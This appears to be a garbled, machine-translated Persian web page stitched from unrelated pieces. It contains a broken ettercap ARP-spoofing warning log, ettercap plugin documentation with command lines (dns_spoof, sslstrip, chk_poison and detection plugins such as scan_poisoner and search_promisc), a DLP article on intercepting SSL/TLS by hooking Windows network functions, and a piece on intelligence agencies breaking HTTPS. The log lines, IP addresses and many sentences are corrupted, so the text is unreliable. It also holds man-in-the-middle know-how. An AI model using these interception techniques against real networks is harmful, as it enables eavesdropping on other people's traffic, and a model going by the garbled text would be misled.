باید 192.168.1.1 arp_cop : ( WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.3191p وانمود می کند که arp_cop. (هشدار) 192.168.1.35 وانمود می کند که هست 192. 168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1.1 arp_cop.1.1.1 وانمود می کند arp_cop5.1.1. 2.168.1.1 arp_cop: (اخطار ) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.168.1.1.1. NING ) 192.168.1.35 وانمود می کند که 192.168 است 1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1.2 arp_cop.1. 16 8.1.1 arp_cop: (هشدار) 192.168. 1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.1p تا be.31AR ING) 192.16 8.1.35 وانمود می کند که 192.168 است .1.1.................................

    7.2 افزودن خودکار

    این به طور خودکار قربانیان جدید را هنگام اتصال به حمله mitm مسمومیت ARP اضافه می کند. به دنبال درخواست‌های ARP در شبکه محلی می‌گردد و در صورت شناسایی، اگر لیست به عنوان TARGET مشخص شده باشد، افزونه میزبان را به لیست قربانیان اضافه می‌کند. هاست زمانی اضافه می شود که یک درخواست arp از آن قابل مشاهده باشد.

    7.3 chk_poison

    بررسی می کند که آیا ماژول های arp etch در ettercap موفق هستند یا خیر. این بسته های جعلی پژواک ICMP را برای همه قربانیان طعمه می فرستد در حالی که وانمود می کند هر یک از قربانیان هستند. می تواند یک پاسخ ICMP با آدرس MAC ما به عنوان مقصد دریافت کند، که به این معنی است که طعمه گذاری بین دو هدف موفقیت آمیز است. هر دو مسیر هر اتصال را بررسی می کند.

    7.4 dns_spoof

    این افزونه درخواست های DNS را قطع می کند و با یک پاسخ جعلی (جعلی) پاسخ می دهد. با ویرایش فایل etter.dns می توانید انتخاب کنید که افزونه به کدام آدرس پاسخ دهد. این افزونه درخواست های A، AAAA، PTR، MX، WINS، SRV و TXT را رهگیری می کند. اگر یک درخواست A بود، نام در فایل جستجو می‌شود و آدرس IP برگردانده می‌شود (می‌توانید از حروف عام در نام استفاده کنید).

    همین امر در مورد درخواست های AAAA نیز صدق می کند.

    7.5 find_conn

    یک پلاگین بسیار ساده که به درخواست های ARP گوش می دهد تا تمام اهدافی را که میزبان می خواهد با آنها ارتباط برقرار کند را به شما نشان می دهد. همچنین می تواند به شما در یافتن آدرس در شبکه های محلی ناشناخته کمک کند.

    Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

    7.6 find_ettercap

    سعی می کند بسته های ettercap ارسال شده به شبکه محلی را شناسایی کند. این می تواند در شناسایی فردی که سعی در استفاده از ettercap دارد مفید باشد. 100٪ روی آن تکیه نکنید زیرا آزمایش ها فقط روی دنباله ها / شماره های شناسایی خاص کار می کنند.

    7.7 scan_poisoner

    بررسی خواهد کرد که آیا کسی بین هر یک از میزبان های لیست و ما طعمه می زند یا خیر. ابتدا بررسی می کند که آیا دو هاست موجود در لیست یکسان هستند یا خیر مک آدرس. این ممکن است به این معنی باشد که یکی از آنها با تظاهر به دیگری ما را مسموم می کند. این می تواند بسیاری از موارد مثبت کاذب را در یک محیط proxy-arp ایجاد کند. برای انجام این بررسی باید لیستی از هاست ها بسازید. پس از آن، بسته های icmp echo را برای هر میزبان موجود در لیست ارسال می کند و بررسی می کند که آیا آدرس مک منبع پاسخ با آدرسی که در لیست با آن IP ذخیره کرده ایم متفاوت است یا خیر. این می تواند به این معنی باشد که شخصی با تظاهر به داشتن آدرس IP ما و ارسال بسته های رهگیری شده به ما، این میزبان را طعمه می گذارد. شما نمی توانید این تست فعال را در حالت غیر تهاجمی اجرا کنید.

    Ettercap -TQP scan_poisoner //

    7.8 search_promisc

    سعی می‌کند پیدا کند که آیا کسی در حالت بی‌وقفه استریف می‌کند (گوش می‌کند). دو درخواست arp متفاوت و بد شکل را برای هر هدف در لیست میزبان ارسال می کند و منتظر پاسخ می ماند. اگر پاسخ از میزبان هدف گرفته شده باشد، کم و بیش احتمال دارد که هدف کارت شبکه را در حالت بی‌وقفه داشته باشد. ممکن است آلارم های کاذب ایجاد کند. شما می توانید آن را مانند از اجرا کنید خط فرمانیا از منوی افزونه ها. از آنجایی که به پاسخ های arp گوش می دهد، بهتر است هنگام ارسال درخواست های arp از آنها استفاده نکنید.

    Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

    نمونه ای از حدس زدن موفق دو کارت های شبکهدر حالت بی بند و باری:

    بسط دادن

    Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:AF:30:B9 192.168.1.350/250:192.168.1.350/250 27ff:feaf:30b9/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد که ممکن است Ettercap به درستی کار نکند. /proc/sys/net/ipv6/conf/eth0/use_tempaddr روی 0 تنظیم نشده است. امتیازات به EUID 65534 EGID 65534 کاهش یافته است... 33 پلاگین 42 برش دهنده پروتکل 57 پورت نظارت شده 20388 mac فروشنده اثر انگشت خدمات 18 OS6 اثر انگشت Luc 17 OS6 شناخته شده : هیچ اسکریپتی مشخص نشده است، راه اندازی نشده است! تصادفی سازی 255 هاست برای اسکن... اسکن کل نت ماسک برای 255 هاست... * |============================== =================================>

    Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:AF:30:B9 192.168.1.350/250:192.168.1.350/250 27ff:feaf:30b9/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد که ممکن است Ettercap به درستی کار نکند. /proc/sys/net/ipv6/conf/eth0/use_tempaddr روی 0 تنظیم نشده است. امتیازات به EUID 65534 EGID 65534 کاهش یافته است... 33 پلاگین 42 برش دهنده پروتکل 57 پورت نظارت شده 20388 mac فروشنده اثر انگشت خدمات 18 OS6 اثر انگشت Luc 17 OS6 شناخته شده : هیچ اسکریپتی مشخص نشده است، راه اندازی نشده است! تصادفی سازی 255 هاست برای اسکن... اسکن کل نت ماسک برای 255 هاست... * |============================== =================================>| 100.00% 5 هاست به لیست میزبان ها اضافه شد... شروع sniffing یکپارچه... فقط متن رابط فعال شد... برای کمک درون خطی "h" را بزنید فعال کردن افزونه search_promisc... search_promisc: جستجوی NIC های promisc... احتمالاً کمتر sniffing کارت های شبکه : - 192.168.1.36 - 192.168.1.34 به احتمال زیاد NIC های sniffing: - هیچکدام در حال بستن رابط متنی... پایان ettercap... پاکسازی Lua کامل شد! بوییدن یکپارچه متوقف شد.

    7.9 sslstrip

    SSL زمان اجرا حملات mitm، ettercap گواهی SSL واقعی را با گواهینامه خود جایگزین می کند. گواهی جعلی در پرواز ایجاد می شود و تمام فیلدها مطابق با گواهی واقعی ارائه شده توسط سرور پر می شوند.

  • (62%)
  • (56.5%)
  • (تصادفی - 0.2%)
  • از جمله وظایف امنیت اطلاعاتمبارزه با نشت اطلاعات محرمانه روز به روز اهمیت بیشتری پیدا می کند. طبق منابع باز، در سال 2016 تعداد نشت ها 86٪ افزایش یافته است و 47٪ از شرکت های روسی با پروفایل های مختلف با این مشکل روبرو هستند. این مشکل با استفاده از سیستم های کلاس DLP (Data Loss Prevention) حل می شود. این مقاله پیاده‌سازی یکی از ماژول‌های چنین سیستمی را مورد بحث قرار می‌دهد که نظارت بر ترافیک SSL/TLS را با رهگیری عملکردهای سیستم ویندوز فراهم می‌کند.

    مبارزه با نشت اطلاعات مهمنیاز به نظارت بر ترافیک شبکه دارد. این شامل تجزیه و تحلیل تمام داده های منتقل شده از طریق شبکه به روش های مختلف، از جمله داده های ارسال شده به صورت رمزگذاری شده از طریق پروتکل SSL/TLS است.

    رهگیری داده های منتقل شده از طریق پروتکل SSL/TLS با استفاده از حمله مرد در وسط (یا به اختصار MITM) امکان پذیر است. برای انجام این کار، سیستم مانیتورینگ به عنوان یک واسطه بین مشتری و سرور عمل می کند. تمام اطلاعات مشتری ابتدا به واسطه (یعنی سیستم نظارت) می رود و سپس به سرور ارسال می شود. برعکس، تمام اطلاعات سرور ابتدا به واسطه می رسد و سپس به مشتری ارسال می شود.

    شکل 1. حمله Man-in-the-Middle


    ساده ترین راه برای "معرفی" یک واسطه مبتنی بر استفاده از یک سرور میانی (سرور پروکسی) است. در این حالت کلاینت و سرور مستقیماً با هم ارتباط برقرار نمی کنند. کلاینت تمام درخواست ها را به یک سرور میانی ارسال می کند که آنها را به سرور واقعی ارسال می کند. به طور مشابه، سرور واقعی پاسخ‌ها را به یک سرور میانی ارسال می‌کند که آنها را به مشتری ارسال می‌کند.

    اگر داده ها با استفاده از SSL/TLS منتقل شوند، هر دو اتصال (از کلاینت به سرور میانی و از سرور میانی به سرور واقعی) ایمن هستند. هر دو اتصال از گواهینامه و کلید خصوصی خود استفاده می کنند. سرور میانی کلیدهای خصوصی را برای هر دو اتصال نگه می دارد و داده ها را دوباره رمزگذاری می کند: داده های رمزگذاری شده را دریافت می کند، رمزگشایی می کند، با کلید خصوصی دیگری رمزگذاری می کند و در نهایت آن را ارسال می کند. بنابراین، سرور میانی همه داده های ارسال شده را به صورت رمزگذاری نشده دارد.

    استفاده از استیج سرور دو عیب مهم دارد. اول، ممکن است برای کاربر نهایی بیش از حد قابل توجه باشد. ثانیاً، اگر سرور میانی روی دستگاه مشتری راه اندازی شود، در سطح سیستم عامل تعداد اتصالات شبکه باز دو برابر می شود. این یک بار اضافی بر روی زیرسیستم شبکه سیستم عامل ایجاد می کند و در مواردی که به تعداد زیادی اتصالات شبکه باز به طور همزمان نیاز است منجر به خرابی شود.

    رهگیری فراخوانی عملکرد سیستم روشی ظریف تر و محتاطانه تر برای پیاده سازی یک مرد در وسط ارائه می دهد. برای انجام این کار، سیستم مانیتورینگ به یک فرآیند از قبل در حال اجرا متصل می شود و عملکردهای سیستم مورد استفاده در طول تعامل شبکه را برای آن جایگزین می کند. علاوه بر این، هنگامی که فرآیند به عملکردهای سیستم رهگیری شده دسترسی پیدا می کند، کنترل به سیستم نظارت منتقل می شود. بنابراین، فعالیت های شبکه ای فرآیند را کاملاً کنترل می کند و می تواند به عنوان یک واسطه در تعامل فرآیند با سرور راه دور.


    شکل 2. حمله Man-in-the-Middle با استفاده از یک کتابخانه واسطه که عملکردهای سیستم را رهگیری می کند.


    سیستم نظارت بر ترافیک SSL/TLS با استفاده از راه اندازی می شود سه سادهمراحل:
    1. به فرآیند مشتری مشخص شده وصل شوید (با استفاده از ویژگی های استانداردسیستم عامل).
    2. بارگذاری یک کتابخانه واسطه پویا، که توابع تعامل شبکه خود را پیاده سازی می کند.
    3. پیکربندی رهگیری توابع تعامل شبکه به گونه ای که هنگام فراخوانی این توابع، فراخوانی نه با توابع سیستم، بلکه با توابع پیاده سازی شده در کتابخانه بارگذاری شده انجام شود.

    کتابخانه میانجی قابلیت های مشابه سرور میانی را دارد. بنابراین، تمام اطلاعات برنامه مشتری ابتدا به کتابخانه واسطه می رود و سپس به سرور واقعی ارسال می شود. برعکس، تمام اطلاعات سرور واقعی ابتدا به کتابخانه واسطه می رود و سپس به برنامه ارسال می شود.


    شکل 3. شنود داده ها توسط یک کتابخانه واسطه


    برای تعامل با سرور، کتابخانه واسطه از توابع و مکانیسم های استاندارد سیستم استفاده می کند. اگر اطلاعات با استفاده از SSL/TLS منتقل شود، از یک اتصال امن استفاده می شود که توسط کتابخانه واسطه ایجاد می شود. هنگامی که اتصال برقرار شد، کتابخانه واسطه کلید خصوصی مورد استفاده برای رمزگذاری/رمزگشایی داده ها را می داند.

    تعامل با برنامه مشتری به روشی کمی متفاوت رخ می دهد. هنگامی که یک برنامه سرویس گیرنده برخی از عملکردهای شبکه را فراخوانی می کند، یک کتابخانه پروکسی کنترل را به دست می گیرد. اگر تابع فراخوانی شده دارای آرگومان های ورودی باشد، کتابخانه میان افزار مقادیر آن آرگومان ها را دریافت می کند. در مرحله بعد، کتابخانه واسطه عملکرد این تابع را شبیه سازی می کند و اگر تابع دارای آرگومان های خروجی باشد، کتابخانه واسطه مقادیر این آرگومان ها را تولید می کند. این منطق کاملاً برای تمام عملکردهای رهگیری شده، از جمله عملکردهای برقراری ارتباط، انتقال داده ها و دریافت پاسخ های سرور اعمال می شود.

    کتابخانه واسطه به طور همزمان با برنامه مشتری و سرور راه دور تعامل دارد. منطق عملیاتی بستگی به اقدامات انجام شده توسط برنامه مشتری دارد:

    1. نصب و راه اندازی جدید اتصال شبکهبه شرح زیر اتفاق می افتد:
    - برنامه لازم را فرا می خواند عملکرد سیستم;
    - تماس به کتابخانه واسطه منتقل می شود.
    - کتابخانه واسطه با سرور ارتباط برقرار می کند و به طور مستقل تمام اقدامات ارائه شده توسط پروتکل SSL/TLS را انجام می دهد: بررسی گواهی سرور، ارسال گواهی خود، دست دادن، تولید کلید خصوصی و غیره.
    - کتابخانه واسطه کنترل را به برنامه برمی گرداند.
    - برنامه تمام اقدامات لازم برای برقراری اتصال از طریق پروتکل SSL/TLS را انجام می دهد و عملکردهای ارتباطی شبکه را فراخوانی می کند. کتابخانه میانجی همه این تماس‌ها را قطع می‌کند، اما هیچ تماسی با سرور واقعی برقرار نمی‌کند، اما به خود برنامه «پاسخ می‌دهد». از نقطه نظر برنامه، همه چیز به نظر می رسد که گویی با یک سرور واقعی تعامل دارد (از جمله دست دادن و تولید یک کلید خصوصی).
    در نتیجه این اقدامات، کتابخانه واسطه دارای دو کلید خصوصی پروتکل SSL/TLS به طور همزمان است. یک کلید برای تعامل با برنامه و دیگری برای تعامل با سرور استفاده می شود.

    2. برای انتقال داده ها به سرور، برنامه کاربردی یک تابع سیستم را فراخوانی می کند. داده های رمزگذاری شده از قبل به ورودی تابع ارسال می شود. کتابخانه میان افزار این تماس را قطع می کند و کارهای زیر را انجام می دهد:
    - داده های ارسال شده را با استفاده از کلید خصوصی دریافتی هنگام برقراری ارتباط با برنامه رمزگشایی می کند.
    - داده های دریافتی را با استفاده از کلید خصوصی دریافت شده هنگام برقراری ارتباط با سرور رمزگذاری می کند.
    - داده های رمزگذاری شده را به سرور ارسال می کند.

    3. دریافت داده ها از سرور به روشی مشابه، اما به ترتیب معکوس انجام می شود. برنامه تابع دریافت داده را فراخوانی می کند و کتابخانه میان افزار این تماس را قطع می کند و کارهای زیر را انجام می دهد:
    - بخشی از داده ها را از سرور دریافت می کند.
    - داده های دریافتی را با استفاده از کلید خصوصی دریافت شده هنگام برقراری ارتباط با سرور رمزگشایی می کند.
    - داده های دریافتی را با استفاده از کلید خصوصی دریافت شده هنگام برقراری ارتباط با برنامه رمزگذاری می کند.
    - داده های رمزگذاری شده (یا بخشی از آن) را در نتیجه عملکرد برمی گرداند.

    4. هنگامی که اتصال قطع می شود، برنامه کاربردی تابع مربوطه را فراخوانی می کند. کتابخانه میان افزار این تماس را قطع می کند، اتصال به سرور را می بندد، ساختارهای داخلی آن را حذف می کند و کنترل را به برنامه باز می گرداند.

    اجرای فنی روش پیشنهادی رهگیری ترافیک دارای تعدادی مشکلات است. برنامه می تواند استفاده کند راه های مختلفتعامل شبکه (حالت مسدود و غیر مسدود، حالت عملکرد ناهمزمان و غیره). در یک سیستم نظارت کامل، لازم است تمام سناریوهای رفتار برنامه کاربردی ممکن را در نظر گرفت. در غیر این صورت، سیستم نظارت غیرفعال خواهد بود.

    مشکل جدی تر این است که وجود یک کتابخانه واسطه ممکن است برای یک کاربر قدرتمند قابل توجه باشد. کتابخانه پروکسی از طرف سرور به برنامه "پاسخ" می دهد، اما از گواهی امضا شده خود استفاده می کند. بسیاری از برنامه های سرویس گیرنده (مانند مرورگرهای اینترنت) با گواهی امضا شده سرور به درستی کار می کنند، اما همیشه به شما امکان مشاهده آن را می دهند. اگر کاربر گواهی خود امضا شده را ببیند که هیچ ارتباطی با سرور واقعی ندارد، ممکن است کاربر به حضور یک واسطه مشکوک شود.

    به طور کلی، روش پیشنهادی برای نظارت بر ترافیک TLS/SSL به دلایل مختلف بسیار موثر است. اولاً، کتابخانه به عنوان یک واسطه تمام عیار بین برنامه کاربردی و سرور عمل می کند. این به طور کامل تمام فعالیت های شبکه برنامه و همه داده های ارسالی/دریافتی را کنترل می کند. ثانیا، پیاده سازی یک کتابخانه واسطه نیازی به منابع سیستم قابل توجهی ندارد. در نهایت، وجود یک کتابخانه واسطه تنها برای یک کاربر با تجربه قابل توجه است.

    در سال‌های اخیر، روندی معکوس در استراتژی حملات سرویس‌های اطلاعاتی به مهم‌ترین پروتکل امنیتی اینترنت یعنی TLS/SSL رخ داده است. از این پس، حمله و هک رمزنگاری مستقیم نه تنها شدید است، بلکه اغلب در چارچوب دنیای مدرنمعیاری که در آن نیروی محرکه اصلی پول و سود مالی است.

    با توجه به اهمیت این موضوع، به عنوان بخشی از مجموعه ای از انتشارات، این سایت مروری بر امنیت پشته پروتکل TLS/SSL ارائه می دهد و همزمان استراتژی های منسجم و سیستماتیک برای تضعیف این پروتکل ها توسط آژانس های اطلاعاتی را بررسی می کند.

    یک سوم ترافیک امن جهان توسط ابزارهای رمزنگاری با PRNG ضعیف شده عمدی ایجاد می شود؟

    از کانال حذف شد

    به عنوان نقطه شروع، بیایید به مثال روسیه نگاه کنیم - آخرین جلسه دادگاه در مورد مالک سابق سیستم پرداخت Chronopay Pavel Vrublevsky متهم به حمله DDoS علیه Aeroflot.

    ماهیت توطئه کلیدی این بود که دادگاه درخواست مکاتبات داخلی بین شرکت کنندگان در این روند جنایی را داشت که آنها از طریق حساب های شخصی در فیس بوک انجام می دادند. علیرغم این واقعیت که حاوی اطلاعات متهم کننده حیاتی بود، آمریکایی موذی شبکه اجتماعیبه درخواست دادگستری روسیه توجهی نکرد و از دسترسی به مکاتبات خصوصی شهروندان روسیه خودداری کرد. و در اینجا چشمگیرترین نقطه عطف در این داستان رخ می دهد - FSB در اجرای تصمیم دادگاه به طور مستقل مکاتبات این شهروندان را "به دست می آورد".

    "FSB CIB، مطابق با قانون "فعالیت های عملیاتی-تحقیقی"، به طور مستقل اطلاعات را از کانال های ارتباطی افراد مشخص شده جمع آوری کرد و آن را در یک DVD ضبط کرد.

    در واقع، دفاع متعاقباً توانست تأیید کند که مکاتبات شخصی لازم برخلاف میل فیس بوک "به طور کامل و حجمی از شبکه حذف شده است". در عین حال خود متهمان این پرونده ارائه گذرواژه و مکاتبات خودسرانه خود را به تحقیقات منکر شدند. در RuNet می توانید عناوین خبری پر زرق و برق مانند "FSB روسیه سرورهای فیس بوک هک شده" را بیابید، اما نباید در نتیجه گیری خود خیلی دور شوید.

    اولاً، تمام جلسات ارتباطی با فیس بوک منحصراً از طریق پروتکل ارتباطی امن HTTPS انجام می شود. ثانیاً از آخرین تماس های متهمان و این تصمیمدادگاه (و در نتیجه اقدامات تحقیقاتی FSB برای اجرای این تصمیم) زمان زیادی گذشت. اگر خود متهمان از آن زمان تاکنون آنلاین نبوده و تحت بازجویی هستند، این «داده‌های گذشته» را می‌توان از چه نوع «کانالی» «حذف» کرد؟

    آنها این سؤالات مستقیم را که در دادگاه از نمایندگان FSB پرسیده شد نادیده گرفتند. واضح‌ترین نسخه پاسخ خود را نشان می‌دهد: ترافیک HTTPS با این مکاتبات از قبل توسط FSB ضبط/ذخیره شده و به نوعی متعاقباً هک شده است.

    جالب است که یک مورد تقریبا مشابه قبلاً در مواد همان پرونده ثبت شده بود. FSB CIB، با استناد به پروتکل تحقیقات، "با ذخیره و تجزیه و تحلیل ترافیک اتصال اینترنت یکی از متهمان، ورود و رمز عبور را از کنترل پنل بات نت بازیابی کرد" (به طور فیزیکی در یک سرور در ایالات متحده آمریکا قرار دارد) و سپس رهگیری کرد. کنترل از راه دورروی این بات نت بنابراین، دسترسی به همان پانل وب توسط متهم، مجدداً منحصراً از طریق یک اتصال HTTPS رمزگذاری شده، با رعایت اقدامات احتیاطی (به عنوان مثال، بدون ذخیره رمزهای عبور در رایانه محلی خود) انجام شد.

    بنابراین، با ذکر موارد قابل توجه غلبه بر «محافظت» TLS/SSL توسط سرویس‌های اطلاعاتی روسیه، وجود مشکلاتی در امنیت HTTPS وجود دارد.

    شیوه عمل

    برای هک کردن یک جلسه HTTPS رمزگذاری شده، باید دو مشکل اصلی را حل کنید: توانایی گوش دادن (رهگیری) ترافیک، و همچنین قادر به رمزگشایی داده های محصور شده در چنین بسته محافظت شده ای.

    از آنجایی که سرویس های ویژه تقریباً به هر کانالی دسترسی فیزیکی دارند، ما در مورد اولین نکته با جزئیات صحبت نخواهیم کرد. کسانی که آخرین اخبار SORMostroeniya را دنبال می کنند از قبل می دانند که مطابق قانون جدید، از 1 ژوئیه 2014، همه ارائه دهندگان روسیملزم به نصب تجهیزات ویژه در شبکه های خود برای ثبت و ذخیره ترافیک اینترنت عبوری خود به طور کامل برای مدت حداقل 12 ساعت هستند. علاوه بر این، نیروهای امنیتی به تمام مجموعه داده های ذخیره شده و انتقالی دسترسی مستقیم خواهند داشت.

    جیمیل به من می نویسد: "حساب یا رایانه شما ممکن است توسط هکرهای تحت حمایت دولت در معرض خطر قرار گرفته باشد."

    — رومن دوبرخوتوف (@Dobrokhotov) 9 سپتامبر 2014

    اگر در مورد گوش دادن به جلسات HTTPS صحبت کنیم، فوراً متوجه خواهیم شد نکته مهم- نیاز به "حالت فعال" گوش دادن در برخی موارد، زیرا ترافیک ذخیره شده همیشه نمی تواند بعدا هک شود. ما در مورد حالت به اصطلاح محرمانه (FS) برای پروتکل HTTPS صحبت می کنیم که از امکان بازیابی اطلاعات پس از پایان جلسه ارتباطی جلوگیری می کند (حتی اگر مهاجم متعاقباً بتواند کلیدهای سایت معتبر را به دست آورد). وجود چنین حالتی مهاجم را مجبور می کند "در حالی که آهن داغ است ضربه بزند" - یعنی داده ها را در زمان واقعی هک کند که در اکثریت قریب به اتفاق موارد از نظر فنی به سختی امکان پذیر است.

    خبر بد این است که فیس‌بوک، و همچنین سایر پورتال‌های اینترنتی بزرگ، از محرمانه‌سازی فوروارد استفاده نمی‌کنند، زیرا بار جدی دیگری بر روی شبکه‌های اجتماعی که قبلاً بیش از حد بار شده است، ایجاد می‌کند. علاوه بر این، استفاده از چنین الگوریتم‌های پیشرفته DH ممکن است بر سازگاری با برخی تأثیر منفی بگذارد مرورگرهای محبوب. اکنون به راحتی می توان درک کرد که چرا، طبق آمار Netcraft تا تابستان 2013، تقریباً 70-99٪ از اتصالات SSL مشاهده شده در این نظارت اصلاً از FS استفاده نمی کنند.

    یعنی در اکثریت قریب به اتفاق موارد، مهاجم می‌تواند با خیال راحت ترافیک HTTPS شما را برای هک کردن و هک کردن بعدی ذخیره کند (مثلاً وقتی کلید سرور خصوصی مشخص می‌شود).

    در بالا اندازه گیری کاهش عملکرد در یک پردازنده وب سرور 6 هسته ای با حالت DHE فعال و غیرفعال شده است. DHE به عنوان محبوب ترین و مثال زدنی ترین نمونه اجرای Perfect Forward Secrecy انتخاب شده است. به عنوان مثال، گوگل، که خدماتش تقریباً از تمام نوآوری‌های رمزنگاری و ابزارهای محافظت از کاربرانش پشتیبانی می‌کند (این یک استثنای قابل توجه در رویه عمومی اینترنت است)، کلیدهای نشست کوتاه مدت PFS («فوق‌پایه») را بر اساس ECDHE_RSA پیاده‌سازی می‌کند. و این یک لذت بسیار بسیار گران است، باور کنید!

    با در نظر گرفتن این تذکر، فرض می کنیم که همه چیز با رهگیری ترافیک کم و بیش روشن است. حالا بیایید ببینیم که در مرحله بعد با جریان رمزگذاری شده ذخیره شده چه کار کنیم.

    به نظر می رسد که الگوریتم کلی در این مورد چیزی شبیه به این خواهد بود: هنگامی که ترافیک مورد علاقه جلسه HTTPS توسط سرویس های اطلاعاتی فرضی رهگیری می شود، آنها سیستم اطلاعاتدرخواستی برای جستجوی کلید سرور مربوطه به پایگاه داده خود دریافت می کند. اگر چنین کلیدی پیدا نشد، برای محاسبه بیشتر (ترک) در صف قرار می گیرد. با در نظر گرفتن اظهار نظر در مورد در دسترس نبودن واقعی گزینه FS، همیشه منطقی است که ترافیک مورد علاقه را بی سر و صدا جمع آوری کنید (ثبت کنید)، بدون اینکه منتظر بمانید تا سیستم نسبت به آمادگی / در دسترس بودن کلید برای رمزگشایی در زمان واقعی واکنش نشان دهد.

    در مورد پایگاه داده ذکر شده از کلیدهای سرور، در تابستان 2013، Cnet اطلاعات و نمونه ای از یک درخواست NSA را به یک شرکت اینترنتی بزرگ منتشر کرد که مایل بود ناشناس بماند. به گفته این منبع، مشخص شد که سایر پلتفرم های اینترنتی بزرگ (گوگل، مایکروسافت، اپل، یاهو، AOL، Verizon، AT&T و غیره) همین درخواست ها را دریافت کرده اند. Cnet رسماً با این سازمان ها تماس گرفت تا در مورد واقعیت چنین درخواستی اظهار نظر کند، اما در اکثریت قریب به اتفاق موارد، شرکت ها از تأیید یا رد چنین تعاملی با NSA خودداری کردند.

    «یک بار دیگر پایم را بر این افسانه پاک می‌کنم که منبع باز راهی به سوی قابلیت اطمینان است. این باگ در Debian OpenSSL تقریباً دو سال از عمر آن می گذشت."

    در واقع، این آسیب پذیری تنها پس از سر و صدایی در مطبوعات بسته شد. خود پروژه دبیان وضعیت یک باگ طولانی مدت در مخزن OpenSSL خود را «داستانی نسبتاً عجیب» نامید.

    اگر در مورد "نشانک"های سخت افزاری بدنام صحبت کنیم، اخیراً آنها در غیرمنتظره ترین مکان ها به شدت شکوفا شده اند: از اتوها گرفته تا ماشین های قهوه. بنابراین، طبق گفته اشپیگل، بخش ویژه NSA "عملیات دسترسی متناسب" (TAO) برای مدت طولانیرهگیری گسترده تجهیزات رایانه ای (و سایر) خریداری شده توسط شرکت ها و کشورها مختلف در مسیر تامین کننده تا گیرنده را انجام داد. در همان زمان، تجهیزات رهگیری شده که برای مشتری مورد علاقه NSA ارسال شد، به سرعت از "کارخانه مخفی TAO" عبور کرد، جایی که نرم افزارهای اصلاح شده یا "اشکالات" در آن معرفی شدند. چنین مداخله‌ای در فرآیند عرضه برای اهداف خود، که با اصطلاح خاص "ممنوعیت" تعیین شده است، توسط خود NSA به عنوان یکی از "موثرترین انواع عملیات مدرن" ارزیابی شد.

    NSA قصد دارد به عنوان بخشی از عملیات دسترسی سفارشی خود، میلیون ها رایانه را با بدافزار آلوده کند.



     


    خواندن:



    HTC Sync Manager: نحوه استفاده، مکان دانلود، حل مشکل

    HTC Sync Manager: نحوه استفاده، مکان دانلود، حل مشکل

    HTC Sync ابزاری برای اتصال گوشی های هوشمند HTC به کامپیوتر، تبادل داده ها و همگام سازی داده ها بین آنهاست. این برنامه روی...

    Xperia Z3 و Xperia Z3 Compact: بررسی و مقایسه مرورگر وب یک برنامه نرم افزاری برای دسترسی و مشاهده اطلاعات در اینترنت است.

    Xperia Z3 و Xperia Z3 Compact: بررسی و مقایسه مرورگر وب یک برنامه نرم افزاری برای دسترسی و مشاهده اطلاعات در اینترنت است.

    نوشتن این مقایسه منو به دلیل چنین سؤال مکرری در مورد اینکه چه چیزی را انتخاب کنید - Sony Xperia Z3 یا Xperia Z3 Compact ایجاد شد؟ بیشتر اوقات ...

    تعرفه های جدید Kyivstar اتصال در دسترس نیست

    تعرفه های جدید Kyivstar اتصال در دسترس نیست

    شرکت Kievtsar به مشترکین خود اتصال به بسته های تعرفه ای مختلف را به صورت قراردادی ارائه می دهد. از جمله مزایای فراوان این ...

    اینترنت تلفن فلای کار نمی کند

    اینترنت تلفن فلای کار نمی کند

    دستورالعمل ها دریابید - آیا امکان اتصال به اینترنت در مدل گوشی شما وجود دارد؟ این را می توانید در لیست مشخصات فنی پیدا کنید ...

    فید-تصویر RSS